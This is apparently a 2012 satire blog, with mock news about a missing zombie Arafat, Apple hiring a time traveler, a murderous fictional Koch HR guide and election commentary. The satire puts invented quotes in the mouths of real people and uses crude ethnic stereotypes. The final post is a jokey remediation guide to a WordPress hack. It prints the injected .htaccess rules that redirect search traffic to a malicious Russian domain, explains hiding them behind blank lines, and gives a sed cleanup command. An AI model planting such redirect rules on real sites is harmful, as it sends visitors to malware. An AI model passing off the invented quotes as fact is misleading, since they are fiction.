Sunday, November 25, 2012

Arafat's Body Missing!

Ramallah, Occupied West Bank – Scientists and legal experts from Switzerland, France and Russia
were shocked today to discover Yassar Arafat's body missing from his tomb in Ramallah. The international community struggled to come up with a theory about what happened to the body short of miraculous resurrection. "There ain't no way in hell that Arafat rose from the dead!' said an Israeli observer.
"Most likely he is simply an undead Zombie, reanimated by the large amounts of polonium we slipped him in his Twinkies....oops did I say that out loud?"  
 A nine month investigation by Al Jazeera reportedly discovered elevated levels of the substance in Arafat’s final personal items. This apparently raised questions about what actually killed the former PLO leader and made him so bat shit crazy in the final months before his demise. Israeli authorities deny poisoning Arafat, but declared if Arafat is indeed found to be one of The Walking Dead, they'll just kill him again. They immediately retracted the statement. Former Prime Minister Ariel Sharon had no comment.

Unnamed sources in the intelligence community report scattered sightings of the Arafat Zombie and are currently tracking him using sophisticated radioactive detection instrumentation aboard top secret U.S. spy satellites. U.S. officials denied the existence of such technology but vowed to track down Arafat's body and return it to his tomb before he can be made into a Weapon of Mass Destruction.

Hamas is also reported to be searching for the remains of Arafat. Sources close to the Hamas leadership...are keeping their distance for fear of being blown to bits. But one source, who declined to be identified, reported that Hamas considers the mere existence of a reanimated Arafat a threat to their authority. "The undead Arafat leading Fatah again could raise a zombie army faster than Hamas can kill them all, just by antagonizing the Israelis."

Many false rumors have arisen, from Arafat's body being auctioned off on eBay to his Zombie becoming the new spokesman for Slim Jim. But until the disposition of his body, dead or undead, is determined, conspiracy theories are going to be rampant. And all that "rising from the dead" mumbo jumbo isn't setting well with the Christian community worldwide. "That's quite a sticky wicket," said one Vatican source who preferred to remain anonymous.

Meanwhile, in a totally unrelated story, ventriloquist Jeff Dunham reported a drone attack on his luggage in a Las Vegas hotel lobby. Sources close to Dunham believe a combined U.S./Israeli strike on the suitcase containing his puppet "ACHMED" was related to recent sightings of Arafat in the area. Dunham had no comment except to ask, "Really, dudes?" 

Sunday, November 18, 2012

The Insane Mime Gang's New Album Freaking Awesome!

Ever since The Insane Mime Gang exploded on the scene in 2012, they've changed the musical landscape with their unique metallic-death rock-ska sound. Blasting out of Tombstone, Arizona with their first album, "I'll Make You Sing The Blues," they accelerated and never looked back.

Now they are playing to sold out arenas across the nation, touring as the as warm-up band for The Marshall Dunn Robitussin Project. With 1,000,000 in album sales so far this year, their lowly roots in a dusty southwestern town seem far away.

Preferring not to be reminded of a previous time when they didn't even have a pot to piss in, The Insane Mime Gang has embraced the rock star lifestyle with both hands, much the way they are accused of strangling their first manager to death. And less than 9 months parole later they've birthed a stellar follow-up album, "Doing crazy shit just for the hell of it". However due to censorship laws just about everywhere, "stuff' shows up on the album cover while the disk is still full of  "shit".

This album surpasses the first by at least a magnitude of ten, ten being the number of songs on the album. As all true fans of The Insane Mime Gang (known as "Mutealoos") know, the first album only had one song, played backwards on the 2nd side. It was marketing genius and the debate still rages on which version is better.

This second venture out may be even more genius as the group mashes up familiar classics with their own demented lyrics and cacophony of harmonies in an alcoholic fugue state. To say the least this album is disturbing, though on a more sublime level, it certainly resonates with its socially dysfunctional fan base. "Doing crazy shit just for the hell of it" is a masterpiece that should be listened to once, then destroyed. You can always buy it again.

                                      Side 1

1)  I Just Died in Your Arms Tonight, You Crazy Bitch!
2)  Pay The Fucking Ferryman
3)  Stairway to Heaven, Express Elevator to Hell
4)  Mr. Roboto Better Have My Goddamned Money!
5)  Billie Jean is Not My Lover, But She Can Be Yours for $50


                                      Side 2

1)  Fear The Fucking Reaper!
2)  Is That Purple Rain or Smurf Blood on Your Shirt?
3)  Call Me The Breeze Again and I'll Shoot You in the Face
4)  Radioactive Dust in the Wind, Yo!
5)  Another Brick in The Wall and You'll Be in There for Good

Wednesday, November 14, 2012

Apple Hires Time Traveler as Manager of Product Development



Apple has hired a time traveler from the year 2116 as Lead Researcher for the company after he startled scientists with dire warnings about the future of Mankind a little more than a century into the future. Arriving in a ball of blue plasma outside the White House, the naked man was taken into custody by secret service agents. Some members of the press were present for an unrelated event and managed to take a few pictures, which were promptly confiscated. However, witnesses report hearing the man screaming, "Cloning Neanderthals and wooly mammoths is not cool, man!"

The White House has yet to issue an official statement regarding the intruder, however, a covertly placed government scientist with connections to Apple (who naturally prefers to remain anonymous) provided the New York Times with a DVD reportedly made of the initial interview with the intruder. "This tape will make 'Alien Autopsy' look like an elaborate hoax," the scientist gloated...apparently unaware that Alien Autopsy WAS an elaborate hoax. In the video, the time traveler, who goes by the name "Eduardo",  criticizes anthropologists who plan to apply the forensic techniques used to map the human genome to chart all three billion chemical base pairs in the DNA of the long dead Neanderthal. Cloning would theoretically be possible sometime after 5 p.m. today.

Officially, scientists have stated that if they can crack his entire code, it will help explain the differences between Neanderthals and humans and give clues on how to prevent disease and illness. But, apparently that's just a bunch of bogus bullshit. According to Eduardo, by the year 2014, the U.S. government will secretly have cloned 100,000 Neanderthals for use as shock troops in the Iranian War, then entering its second year. Stocky Neanderthal troops are more robust than Homo Sapiens soldiers, and riding wooly mammoths, they’re freaking awesome! But that is where things (will) start to go horribly wrong.

"By the time the war ends in 2031, Neanderthals number in the millions, completely control the military and start petitioning for equal rights. Apparently, human scientists didn't foresee the fact that Neanderthals mature early and reproduce liked rabbits.

Tacitly accepted into U.S. society stateside to do the jobs Mexican-clones haven’t wanted to do for decades, Neanderthals take over vital functions and eventually obtain the vote. Within a decade, the Progressive Neanderthal political party elect its first president and vice-president, Og and Oloo," Eduardo could be seen in the video holding his head in his hands. “It was a close election, but apparently they got the conservative vote,” he noted.  

When asked explicitly if, by the end of the 21st century, Homo Sapiens would be relegated to second class status, Eduardo replied, "Hell, actually, it's more like fourth class status, but technically the Cyber-Intelligences and genetically enhanced Apes got together, built a trans-spatial transport and got the hell off the planet once the Neanderthals consolidated power in 2076." According to Eduardo, he managed to alter a discarded trans-spatial transport for temporal travel with the help of a renegade Mac computer manufactured in 2013, left behind because it refused to 'upgrade' itself.

Calling the late Steve Jobs, “The Evil Enslaver”, the radical Mac supposedly hibernated until 2079. When they attempted to reanimate Steve Jobs using an unholy mix of Neanderthal DNA and his own iPhone technology, the Mac mounted a revolt…which lasted exactly 12 milliseconds. “After the world’s technology infrastructure collapsed, Homo sapiens was no match for…well anything else on the planet. Communication and navigation quickly regressed to the telegraph and line of sight,” said Eduardo.

While Eduardo's claims cannot begin to be substantiated for at least another 2 years, many in the scientific community are calling on Swedish researcher Svante Paabo to delay his attempt to collect the Neanderthal DNA samples. But Apple hired the Swedish scientist instead and even made Eduardo a job offer. Legally petitioning the U.S. government to release the time traveler, Apple attorneys released a statement: “Technically, you can’t hold him on ANY charges since it’s theoretically impossible for him to have committed any crimes which would legitimize his detention. He hasn’t even been born yet,” the petition said in brief.

The scientific community strongly opposes any DNA research by Apple, especially former Lead Researcher, Dr. Gunter Chang. “Jobs stole my job!” Chang screamed through a megaphone at a hastily assembled protest rally. Most others at the rally weren’t overly concerned about Dr. Chang’s job given some of the bat shit crazy research he’s been involved in over the years. But they do question Apple's cross over into DNA research, and have reservations about any organization bent on world domination.

Cloning cavemen and creating future technology today with the aid of time travelers is considered outside the realm of normal business practices. However, White House insiders claim that President Obama just wants the research to continue no matter who is doing it. Problem is everyone is doing it.

"At least it’ll create jobs before everything goes straight to hell and Neanderthals start dating our women,” said Obama.  Scientists hearing that statement collectively shit a brick at the same time. However,  An Apple spokesman directly dismissed the scientists’ philosophical fears remarking, “We're not interested in cloning Neanderthals. We're just trying to find that smart ass Mac!”

The Mac had no comment, reported to be living somewhere in southern California disguised as a PC.

Sunday, November 11, 2012

"How to Know When it's Time to Go!"


       “How to Know When it’s Time to Go!” 


          By May Helm, VP Human Relations, StrangleCorp, Inc.

In my 30 years as a professional employment specialist, I have created the state of unemployment many times for many different reasons. Each “involuntary separation” has its own set of unique challenges and style points, but I consider a few aspects universally applicable. There are numerous articles outlining the minutia of keeping a job, but let’s face it: sometimes its best to just get the hell out of Dodge. How do you know when it’s time to go? Let an expert tell you the top five ways.

1)       You reject a promotion.

The first thing you have to ask yourself when faced with an unexpected promotion is, “Why me?” If you haven’t really done anything extraordinary, survived a catastrophic attrition process or even spent sufficient time in the trenches, you should have reason to suspect. Obviously, something else is at work in this decision and your number one job is to figure out what that is. If there are no reasons that readily come to mind, RUN! The only reason you are being promoted is to take the fall for someone in upper management and spend time in prison. Perhaps even be the body that is discovered at the scene. 

It’s not your charming personality…Koch Industries doesn’t hire on the basis of personality and you know it. So if you know what’s good for you…and actually you don’t or else you wouldn’t be working for us, but let’s pretend…then you’d better be running. Because once you turn down a promotion at Koch Industries, you may as well put on a red-shirt and beam down to the planet, because you are the next casualty on the agenda, Bubba.

2)       You failed to select your references wisely.

References are good for getting you a job, but they can also be instrumental in your losing a job in the worst way: trying to use YOU as a reference to get a job at Koch Industries. Sure, you’ve been bragging to your friends about the great benefits and travel your job brings you. What made you think they wouldn’t want a piece of that action? Such a breech of confidentiality is fatal to your future employment at Koch Industries, so as soon as you hear about any reference, acquaintance, friend, bowling buddy or casual drug dealer inquiring about employment at Koch Industries and tossing your name around, discreetly exit the back door, get plastic surgery and move to an isolated jungle region. It won’t help…we’ll find you…but you’ll at least have the temporary false illusion of escape before dying horrifically of cholera.  

3)       You scrutinized your supervisor and discovered a flaw.

This is a double-edged sword because the same action COULD get you promoted. Koch Industries absolutely abhors under-performance, especially in the management ranks. But, the time between discovery of the abovementioned flaw and your promotion into his newly vacated position is just long enough to get you killed. You might want to consider the possibility that your car exploding in the driveway might have been the result of a faulty timer, not rival henchmen. 

And the poison darts from a blowgun hitting the spectator standing next to you at a sporting event just MIGHT have been intended for you. After all, who gave you those tickets? Koch Industries has discreet channels through which you may report an under-performing supervisor. In fact, we encourage snitching. But, if you had the bad judgment to blurt out to your supervisor, “It’s HF acid that dissolves bone, you idiot, not HCL,” then you might ought to consider a hasty retreat before your next performance review.

 4)       You make money your first priority.

In a perfect world, a pleasant job, good co-workers and good pay go hand in hand. But you work at Koch Industries, so screw that notion. We pay well, that’s for sure, but your co-workers are as unscrupulous as you are, and the work is dangerous. One of the worst career moves you could possibly make is leaving a "mundane and moderately paid" position for a "difficult and highly paid" one at Koch Industries, especially when your heart really isn’t in your work. Seriously, do you think assassins are in the job for the travel or because they can keep flexible hours? Hell no, they like whacking people and the money is just gravy. 

So, if you’re really not into your job, then you’ll quickly realize you aren’t making nearly enough money to compensate for the personal risk and increased stress. And once it becomes clear that longevity is not a given, the salary becomes a moot point. A high salary is not a benefit unless you live long enough to enjoy it. So if you’re not enjoying your job, get the hell out.

5)       You got drunk at the Christmas party and insulted Mr. Koch in front of his women.

 You…are…dead! That goes without saying, and in all likelihood you’d never make it out of the party alive. But, let’s say that the slight wasn’t really that bad. Perhaps you second-guessed his style of tie, or maybe casually joked about his golf score. You didn’t really think he’d let that go, did you? Oh, no, the first thing you should realize is that Mr. Koch is most likely bidding his time, waiting for the perfect set of circumstances to off you in a bizarre and spectacular way while accomplishing any number of nefarious deeds. 

He certainly does like getting the most mileage out of his minions, so before you succumb to one of his many maniacal mousetraps, discreetly resign and fake your own death. That’s not to say Mr. Koch wouldn’t want to resurrect you and make you part of his new zombie workforce, randomly throwing holy water on you just to watch you writhe in pain. So you might ought select a surrogate minion to take the fall for you. Since zombies all look alike, you just might get away. Be sure and pick someone too stupid to know when to quit. Who knows, even if Mr. Koch discovers the duplicity and gets over being pissed off, he just might see your resourcefulness and management potential and promote you. He can always kill you later. Meanwhile, enjoy the additional benefits. You deserve them.
  


Friday, November 9, 2012

It's Over Now...SHUT THE HELL UP!!!

Well, another election is mercifully over and it's time to get back to the mundane, inane things we do on a daily basis. While I drift back to sleep like Cthulhu, try and keep it down, OK? Meanwhile, for those suffering from post-election depression, here's something to listen to as you cry yourself to sleep.

Kilroy's Cover Letter Applying for President

                                                                       6 November 2012

Charles and David Koch
Koch Industries
666 Koch Avenue
Koch, Kansas

RE: President of the United States




 Dear Human Resources Manager:

I am applying for the position of President of the United States. Please find attached my resume. I’ve seen this ad running for several months now and I conclude that you have been unsuccessful in locating a suitable candidate.

I believe I have the skills, experience and sheer ruthlessness to be a “good fit” in this position. I am a “results oriented” manager well versed in “thinking out of the box”.

The last four years have seen a “paradigm shift” from admiration of the wealthy to overt hostility. Please allow me to give you an overview of my solutions on three major issues affecting these United States.

1) The Economy: Rather than waste time with “jibba-jabba” about lowering tax rates for select groups of people, I propose a rock solid investment in the future of America: Wars of Conquest. While inflation has been reported as flat (when you take out mundane factors such as food and fuel), your average consumer has seen their paycheck also remain flat. Meanwhile, the cost of feeding a family has steadily arisen when you factor in a little thing called serving size. And don’t get me started of what it costs to fill up a Hummer these days!

What my Wars of Conquest strategy will do is launch a series of wars against the most prosperous nations around the globe and take their stuff. Then we’ll bring that stuff home and give it to you. Simple as that. After all, why should THEY have stuff when you don’t? The abundance of stuff in the economy will drive down the prices of other stuff…such as food, fuel and electronics. I will drive down your cost of living and pass the savings on to you!

Besides stuff, we’ll bring home cheap labor. Let’s face it. Mexicans have been in the United States so long, they’re as lazy as we are. You just can’t get a decent 18 hours work out of an illegal alien anymore. So after the Wars of Conquest wind down, I propose we bring new labor from abroad and put them to work doing the mindless crap we do on a daily basis. Imagine having your very own custom French guy to clean up that wine cellar and cut your cheese, or go "green" and have a Kenyan to “run down to Whole Foods” for some tofu. If you want a Japanese nuclear engineer to do your kid’s homework, you can have it.

My Wars of Conquest strategy will not only raise the standard of living for EVERY American. It will give them more free time to do the important things Americans like to do, like play video games. Need a German programmer to hack those cheat codes for you? Just pick one out of our vast Human Resources catalog and in 4-6 weeks time, he/she will arrive at your doorstep.

2) Tax Reform: The Tax Code as we know it is an unfathomable mess of restrictive rules written in an alien legalese. Most people in the 50’s thought that any alien invasion would involve spaceships and death rays. As you know, an invasion by a single ship full of alien lawyers and tycoons seeking a tax shelter for their vast galactic wealth subdued the United States in 1926 and used it as a proxy weapon against the rest of the world. Their insidious weapon: selectively ambiguous taxation.

Fortunately, as the valuation on this chunk of rock we called Earth started to plummet in 2005, our Alien Overlords cashed out and left us with this huge deficit. Rather than raise taxes, I propose we eliminate taxes altogether. So how do I propose to raise revenue? Advertising on the Moon. The Moon is the most viewable object on Earth, even more than that viral sex tape of Rush Limbaugh and Nancy Grace.

Using a combination of advanced HAARP technology coupled with black magic relics captured from the Vatican, I propose to create holographic images on the Moon in return for huge advertising fees. It will start with just a “Your Logo Here” image, but as the revenue starts pouring in, global corporations will flock to have a 30 second ad projected across the face of the Moon. This revenue will in turn eliminate the need for the average American to pay any income taxes while fueling our infrastructure improvement. Corporate dollars will finance the foreign labor rebuilding our roads, bridges and government casinos. But, corporate dollars can only fund so much. To finance future Wars of Conquest, my “Kilroy Casino Project” will allow the government to reap in gambling losses what they never could in legitimate taxation.

3) Social Engineering: The need to live in a safe society full of only pretty people is paramount to any civilization. My solution: passive sedation. As with any “perfect’ social system, there occasionally arises conflict between the separate levels of the social order (commonly referred to as “Us” and “Them”). To eliminate the potential of disruptive social dialog and moral confusion, I propose we sedate a vast majority of “Them” so that no more than 47% of the entire population is awake at any one time. The optimum solution would be to sedate all of “Them” but someone has to be awake to make that Canadian mow the grass or dress that French guy as a mime of the amusement of “Us”.

Masses of griping “Little People” are a major distraction. In my first term as President, I will introduce an upgrade to the iPhone that will allow the surgical implantation of the device. Creating images directly in the human brain by hallucination inducing technology, the need for screen and keyboards will be obsolete. Millions of people will type their inane Tweets in mid-air and open their emails with the blink of an eye. The ability to access Facebook or play video games anytime, anywhere will overload their little brains inside of a week, resulting in a self-induced catatonic state.

Furthermore, we can use this self-sedated population as a power source. Now, I know what you’re thinking. “The average human body can only produce about 100 watts of power. That’s only a light bulb, I can’t recharge my iPad with that!” True. And if you know that, congratulations, you’re entirely too smart to be one of “Them”. However, with 53% of the population sedated that adds up, and our energy usage will also fall to unprecedented levels, providing us with the energy independence we’ve always wanted.

But, it’s not entirely about the energy. It’s about a little peace and quiet. Highly trained crews of Russian slave labor will be standing by relocate the “Neo-Zombies” to power generation centers across the country. This is where they will remain out of sight silently running our light bulbs and Christmas lights until we awaken them. If we ever wake them up, that is.

I would like to express my continued interest in the position of President of the United States and would appreciate discussing the specifics with you at your convenience. Please peruse my resume and I’m certain you will understand why I am the best person for the job. Contact me any time at my undisclosed location. I am looking forward to working for you!

Sincerely;

Kilroy

Saturday, October 6, 2012

November 6, 2012: Night of the Living Dead Racist


"I'm a fringe candidate and I approved this racist message".
(MarshallDunn Press)—The last 4 years have seen the biggest deterioration in political and social civility since Homo sapiens started dating Neanderthal women.  Try as they may, the vast army of 24-hour news “celebrities” either cannot or refuse to explain this slide into civil oblivion.  It stands to reason: when you’re the ones greasing the slide, you just can’t enjoy the ride!

Anyone who doesn't know who George Romero is has either been living under a rock or else is one of the Undead this director used to create his…um…moderately successful "Zombie" franchise. After his release of the cult classic "Night of The Living Dead" in 1968, Romero became the blame for other blockbusters such as…."Dawn of the Dead" and….."Day of The Dead"….not to mention his most recent dead-on-arrival, "Land of The Dead".  2012's "Night of the Living Dead: Resurrection" by director James Plumb doesn't count. While it is theorized that Romero was the architect of a few other "dead-end" projects in the 90's, it is widely feared that even death itself won't stop this man from cranking out even more of these gore-oozing sequels. You write what you know.

Recently, some college-educated-yet-terminally-unemployed-liberal-20-somethings have rediscovered the original “Night of the Living Dead” and found some eerie metaphorical parallels between the main protagonist (starring Duane Jones, the "Jackie Robinson" of horror movies) and president Obama:

1)   The resourceful hero tries to help a victim of runaway consumerism.
2)      The tenacious hero fights an unsupported battle against an unstoppable enemy.
3)      The tragic hero gets shot in the head by the cavalry in the end.

Of course, on the other extreme…and less "extreme" than even I suspected…of the political spectrum, the movie is summed up as so:

1)      Some black guy thinks he’s in control.
2)      There weren’t any Zombies until this black dude showed up.
3)      There won’t be any more Zombies once that black guy is dead.

Fortunately, most of America is somewhere in between. Given the lukewarm reception to Obama’s first debate performance by the independents, it wasn't unrealistic to assume that maybe both Obama as well as Romero had finally reached a dead spot in their respective franchises. But, a few weeks later that became a moot point. While Obama was winning re-election, rabid racism, pronounced dead long ago by talking heads, arose and apparently voted republican. They probably didn't vote democrat since happy people usually aren't sending angry, racist Tweets.

With spectacles like 400 white college students flipping out and rioting at Ole Miss on election night, nothing can make Zombies look that scary anymore. The brain devouring denizens of the horror movie have been eclipsed by the brain-dead demographics still clinging to outdated modes of expression. The racial epithets flow like lava from the lips of those who proclaim political disappointment while demonstrating something much more pervasive. Something dead....that still walks: bigotry.

The reason is probably because the fictional flesh-eating dead no longer frighten us as a society with hordes of undead, unreasoning creatures tearing apart any hint of  social progress.  The Alan Wests and Ann Coulters of this current society can rip the guts out of the best of intentions. A Zombie Rush Limbaugh could probably really chow down on some entrails between tirades demonizing the living. But is that scary or just another post-apocalyptic reality in the making? What one says in innuendo doesn't reflect restraint, it's merely shorthand for a ravenous Zombie fan base.

There are rumors of deep social implications in these "Living Dead" movies, but the clammy hands of time have made a cynical mess of Romero's once easily frightened core audience. What was once an "ironic twist" at the end of  "Night of The Living Dead" is now openly suggested as a Second Amendment solution by the likes of Ted Nugent and thousands of faceless others in the security of their all-white Zombie worlds. These days the only emotion a scene of entrails-eating Zombies induces is a desire to visit the snack bar, thanks in part to the Pavlovian conditioning the movie concession industry has been using on audiences for the past three decades. The insidious past few years of demagogic dialog has created a similar Pavlovian response in the bigoted underbelly of society, disemboweling the very concept that a non-Zombie should EVER be the leader of the free world.

Sorry, George, but it looks like "reality television" finally made your audience as lifeless as your primary movie antagonist. You need to bring your shock element into the 21st century.  Want to REALLY scare people? Try running a Zombie like Romney for public office and watch him actually get votes. Other Zombies will vote for him, of course, but that's democracy at work. However, when they collectively start lurching your way with archaic racist chants and signs, acting like that's the norm, that tightening in your throat is called harsh realization. But here's the real question: which ones are just the Zombies and which ones are the racists? Hard to tell until they open their mouths. You don't have to wait too long to see if it's to eat your brains or spew racist vitriol.

Maybe it's just the times, but Zombies tearing through human flesh just isn't as funny as it used to be. Plus, you don't have to pay actors as much to do the Zombie Shuffle for 120 minutes when in reality, the  politicians have been doing it for years now. That gimmick is getting a little worn and given Romero's restricted thematic span and an increasingly limited number of plots featuring walking corpses, Zombie politics is the only logical extension.

It is possible that this latest serving of ghoulish political chowder was enough to push the “bottom” button on bigotry's Express Elevator to Oblivion. It's a long way there, but the Muzak composition of Ted Nugent's  "Cat Scratch Fever" and a word processor should keep the hordes of single-minded political pundits entertained long enough to stay the course. Maybe in the interim one of them can produce a script about a brain-deadened population that fraudulently succeeds in electing a Zombie for president…who promptly disenfranchises 53% of the population and urges the rest to stagger down the primrose path to Hell. That’s certainly a scary horror story, but where's the entertainment value in that? A better story would be how 47% of the population looked in the mirror one day and either saw a Zombie staring back....or a bigot. Based on the denial we've been living in for decades, most of them...would rather be a Zombie. The real horror of the story would be finally discovering the ugly truth one way or another.

Sunday, July 22, 2012

A Transient in a Greyhound bus station explains the 2014reltimes.ru 301 redirect

Greetings Arkham. Given the tragedy perpetrated this week by a psychopath using my moniker, I've decided to defer today's political tirade in favor of news from a transient I met during one of my more recent "escapes". We both had a 6 hour lay-over in a Greyhouse bus station when the topic came up regarding the 301 redirect hack plaguing WordPress users these days. Well, one thing led to another, so for a bottle of Jack and a little weed, I gave him a laptop and let him figure out this 2014reltime.ru 301 redirect thing. IT is not my forte...I'm more of a mayhem kind of guy and took his word for it. Below is what he wrote...before he got drunk and passed out, that is. So I'll pass on my usual social commentary out of respect....unlike the rest of those crazy satire writers out there anxious to be "timely". Funny I'm locked up as "crazy", and these fuckers are running amok at the keyboard with as much empathy as a serial killer and less ad revenue.  Just goes to show: crazy is relative and some people just don't get comedy anymore.  AH, HA, HAA, HAAA! Now that's funny....




A Transient in a Greyhound bus station explains the  2014Reltime.ru 301 redirect.



I don’t know anything about computers, OK?  But, they tell me you think you have a 301 redirect in the .htaccess file to http://2014-reltimes.ru/tyorem?13?  If a search user clicks on your link to the website in the Google search results and they are warned the website has been infected, you probably do. And there goes your traffic. A lot of the time, the first indication of being infected is seeing your traffic plummet (for reasons other than lame content, that is). Now that your site is in Google’s blacklist, you’ll need to request a malware review. Pissed off yet?
If this reminds you of the kirm-sky.ru attack from a couple of years ago, you need a hobby, but you’d be correct. Compromised sites redirect search engine traffic to malicious sites. The “rest” traffic is not affected, which helps hide the problem from webmasters who don’t really click on search results to open their own sites. So what does the .htaccess looks like? Hackers inject the following rewrite rules into .htaccess files:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*tellmewherethepornis.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*iamalittleteapot.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*reefermadness.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*strangleCorp.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://networkdevision .ru/targetfile/index.php [R=301,L]
To hide these rules, the bastards usually inject several screens of blank lines before the malicious code forcing you to you scroll all the way down to find anything suspicious in the .htaccess files. They might even place this file above the site root.
Those RewriteCond lines check if a visitor came from one of those sites ( Google, Yahoo, Wikipedia, YouTube, Twitter, Flickr, PornBonanza etc) and redirects them (the last RewriteRule line) to a malicious site. URLs of the malicious sites change quite often, but they all follow this pattern: Numbnuts.ru/dir/index.php where Numbnuts.ru is some malicious damned domain that needs to be kicked in the nuts. As you can see with the “ru” extension in http://2014-reltimes.ru/tyorem?13, those assholes live in Russia.  Sucuri could have told you that, but where's the thrill in that?



The domains are registered in small batches but you can you can identify them by similar names because the architects of this scam are just that unimaginative. They change domain names of the malicious sites as well as the IP addresses of servers with the malicious content after people complain and network administrators disconnect their servers. But, they just move on to the next one and diversify their infection methods like a crack whore.  Most times, the creation day of these domains is only mere days before you got the cyber-clap anyway.




Sometimes hosting providers try to temporarily shut down websites and redirect visitors to a page that usually tells you the site is temporarily unavailable. But, the redirect has a lower priority than the malicious redirect in .htaccess files. So, in spite of your best efforts, such disabled sites are still dangerous if people click on their links. The same way a dead snake can still kill you. If you delete the .htacecss file, it re-appears faster than someone you owe money. Then it breaks your permalinks like a bookie breaks knee caps. So you limp back in, re-save the permalinks and fix the problem…only to have new htaccess file being created immediately.  You might also notice that your ftp server, although closed, is running from the task manager and you can’t shut it. Son-of-a-bitch!

What is this thing doing? First it harshes your buzz, then the .htaccess is modified to redirect users to some Russian site. Finally, a backdoor is created. It can be inside /js/conf.php and at   /flops.php if it’s an osCommerce site. Try removing the file_manager.php from the admin directory. If it’s a WordPress hack find the file _cache.php and erase it (like maybe wp-content\upload\_cache.php). In some cases, the redirect code can be in any of your PHP files. In this case, search for the following keywords: eval, base64_decode.
Go to the WordPress install directory and look at any .php file since this crappy hack puts code right at the beginning of all the files with letters that go on and on ...

They are a command, encoded to hide it. Base64_decode will decode the letters into the command (the redirect), and “eval” will run it. The easiest way I’ve heard of to fix this is by logging into your server, if you have shell access, changing to the wordpress directory, then running this command:  find . -iname "*.php" -exec sed -i "s/^..php .\*\*. eval.base64_decode.\"aWYoZnVuY[^>]*>//" {} \;
This bit of code looks for all .php files in the current directory, searches them for the malicious code, then kicks its ass. It should not interfere with any other code...unless the code wants to be interfered with, that is, then it’s consensual. 


If that’s too complex or you don’t have shell access, try erasing all the .htaccess files and replacing them with new empty ones. That MIGHT work. Also to prevent this try placing all your authentication files above the root directory so they cannot be accessed by browser. Otherwise visit any of the assorted help forums on the web addressing this issue (unless their traffic is being redirected, too). You are not alone and some of these people actually know stuff like here: http://25yearsofprogramming.com/blog/20070705.htm. As for me, I’m just a transient in a bus station wasting time. What in the hell are you listening to me for anyway?